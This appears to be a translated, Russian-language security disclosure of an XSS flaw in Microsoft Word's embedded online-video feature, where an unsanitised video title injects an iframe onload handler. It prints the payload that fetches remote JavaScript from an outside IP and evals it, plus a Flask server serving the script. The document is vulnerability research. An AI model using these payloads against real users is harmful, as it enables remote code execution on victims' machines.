Microsoft Office XSS
Microsoft Office 2023 XSS
Найдены @adm1nkyj и @justlikebono.
Краткое содержание
На сервере при анализе видео по ссылке, указанной злоумышленником, вредоносная полезная нагрузка, включенная в заголовок видео, может вызвать атаку XSS (межсайтовый скриптинг), позволяющую выполнить произвольный код Javascript.
Основы
- Продукт: Office Word, включая Office 365 Word.
- Протестированная версия: Microsoft Word для Microsoft 365 MSO (версия 2306, сборка 16.0.16529.20164), 64-разрядная версия.
- Класс ошибки : XSS (межсайтовый скриптинг)
Уязвимость
Различные продукты Office, включая MS Word, позволяют пользователям вставлять в документы нужные внешние видео через вкладку «Онлайн-видео».
Когда пользователь воспроизводит внешнее видео, встроенное в документ, Office проверяет, заслуживает ли доверие поставщик внешнего видео, например YouTube. Эта проверка выполняется путем применения к URL-адресу следующего регулярного выражения.
https?://(www\.)?youtube\.\w{2,3}/.*|https?://(www\.)?youtube-nocookie\.\w{2,3}/.*|https?://youtu\.be/.*|https?://(player\.)?vimeo\.com/.*|https?://(\w+\.)?slideshare\.net/.*|https?://(\w+\.)?microsoftstream\.com/.*
Если он считается заслуживающим доверия, он отправляет запрос, подобный следующему, для получения таких данных, как заголовок или миниатюра видео.
GET https://hubble.officeapps.live.com/mediasvc/api/media/oembed?url=https%3A%2F%2Fwww.youtube.com%2Fembed%2FGX2nEmvxK-4%3Ffeature%3Doembed&streamsso=true&lcid=1033&syslcid=1042&uilcid=1033&app=0&ver=16&build=16.0.16529&platform=Win32 HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Word 16.0.16529; Pro) X-IDCRL_ACCEPTED: t X-Office-Version: 16.0.16529 X-Office-Application: 0 X-Office-Platform: Win32 X-Office-AudienceGroup: Production X-Office-SessionId: DE75B69F-49BA-4D92-BD45-2B02504B4021 Host: hubble.officeapps.live.com
Серверhubble.officeapps.live.com отвечает информацией , включая заголовок, описание и HTML-тег iframe для воспроизведения видео.
Уязвимость возникает из-за этого тега iframe. Сервер добавляет заголовок видео к атрибуту « title» тега iframe без какой-либо проверки. В результате, правильно используя двойные кавычки, можно свободно добавить атрибут onload к тегу iframe, которым отвечает сервер.
Ниже приведен пример ответа сервера officeapps.live.com на вредоносное внешнее видео.
{ "description": "", "video_description": "", "start_time": null, "end_time": null, "embed_url": "https://www.youtube.com/embed/GX2nEmvxK-4?feature=oembed", "html": "<iframe width=\"200\" height=\"150\" src=\"https://www.youtube.com/embed/GX2nEmvxK-4?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen=\"\" title=\"\" onload=\"fetch('http://158.247.239.32/a.js').then(function(a){a.text().then(function(a){eval(a)})})\" sandbox=\"allow-scripts allow-same-origin allow-popups\"></iframe>", "type": "video", "title": "\" onload=\"fetch('http://127.0.0.1/a.js').then(function(a){a.text().then(function(a){eval(a)})})", "provider_name": "YouTube", "provider_url": "https://www.youtube.com/", "thumbnail_url": "https://i.ytimg.com/vi/GX2nEmvxK-4/hqdefault.jpg", "thumbnail_width": 480.0, "thumbnail_height": 360.0, "width": 200.0, "height": 150.0 }
На основе этого ответа Word записывает HTML-файл для отображения через Edge Webview в каталоге %LOCALAPPDATA%\Microsoft\Windows\INetCache\Content.Word.
В результате этот HTML-код будет содержать код JS, внедренный злоумышленником. (Логика этого реализована в wwlib!XszCreateVideoHTML. Подробный анализ выходит за рамки данной статьи.)
Как видно выше, атрибут песочницы iframe имеет набор разрешенных сценариев, разрешений того же происхождения и разрешенных всплывающих окон. Это означает, что JavaScript может быть выполнен, желаемые URI могут быть запущены через window.open или сценарии с внешнего сервера могут быть выполнены с помощью метода fetch.
Эксплуатация
- Как показано в примере в описании уязвимости, создайте видео YouTube с заголовком, включающим полезную нагрузку для вставки атрибута onload.
" onload="fetch('[http://127.0.0.1/a.js](http://127.0.0.1/a.js)').then(function(a){a.text().then(function(a){eval(a)})})
- Настройте простой веб-сервер, который поддерживает CORS и отвечает вредоносным JavaScript, как показано ниже. (В этом примере файл Calc.exe выполняется через схему URI калькулятора.)
from flask import Flask app = Flask(__name__) @app.after_request def apply_cors(response): response.headers['Access-Control-Allow-Origin'] = '*' return response @app.route('/a.js', methods=['GET']) def exploit(): return 'window.open("calculator://")' if __name__ == '__main__': app.run(host='0.0.0.0', port=80)
Демо
Заключение
Уязвимость показала, что злоумышленник может создать документ Word, содержащий определенное видео, и выполнить произвольный код JavaScript при воспроизведении видео.
Предыдущие критические эксплойты Office, такие как CVE-2021-40444 и CVE-2022-30190 (Folina), начинались с выполнения произвольного javascript. Если он связан с новым уязвимым URI, например использованным ранее ms-msdt, это может напрямую привести к критической уязвимости RCE (удаленное выполнение кода).
Особенно учитывая уязвимость, которая срабатывает при воспроизведении видео, встроенного в Word, злоумышленнику легко побудить пользователя воспроизвести это видео. Требуются оперативные действия.
Ссылка
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190